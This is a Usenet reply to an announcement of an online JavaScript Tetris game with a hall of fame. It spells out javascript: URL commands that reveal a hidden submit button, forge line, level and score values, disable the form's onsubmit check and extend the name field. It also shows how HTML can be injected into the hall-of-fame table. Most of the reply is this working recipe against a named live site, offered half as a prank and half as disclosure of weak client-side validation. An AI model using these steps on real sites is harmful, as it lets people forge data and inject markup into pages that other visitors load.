"Fabien Grasset" <fg******@idep-multimedia.com> wrote in message
news:40***********************@news.free.fr...
a JS Tetris online with hall of fame
http://www.idep-multimedia.com/tetris/tetris.php
Enjoy!
If anyone fancies getting into the hall of fame without messing around
playing the game the back-end is wide open. So - on the tetris page:-
Show the submit button:-
javascript
:
void(document.getElementById("HS").style.visibilit y="visible");
LINES:
javascript
:void(document.getElementById("nbligne") .value=564000);
LEVEL:
javascript
:void(document.getElementById("niveau"). value=37000);
SCORE:
javascript
:void(document.getElementById("score").v alue=2346100);
type="hidden" ? :
javascript
:void(document.getElementById("nbcoup"). value=370000);
(or something more realistic)
and on the hall of fame page:-
kill the onsubmit handler:
javascript
:void(document.forms[0].onsubmit = null);
set maxLength to something bigger:-
javascript
:void(document.getElementById("nom").max Length=41);
write a name (including HTML but only 30 characters - trimmed on the
server):-
javascript
:void(document.getElementById("nom").val ue="*30 chars*");
This is the context you will be inserting the name into:-
<td><strong>
<font color="#ffff00" size="2" face="Arial, Helvetica, sans-serif">
*30 chars* </font></strong></td>
It has been noticed so it probably will be fixed soon.
Enjoy!
Richard.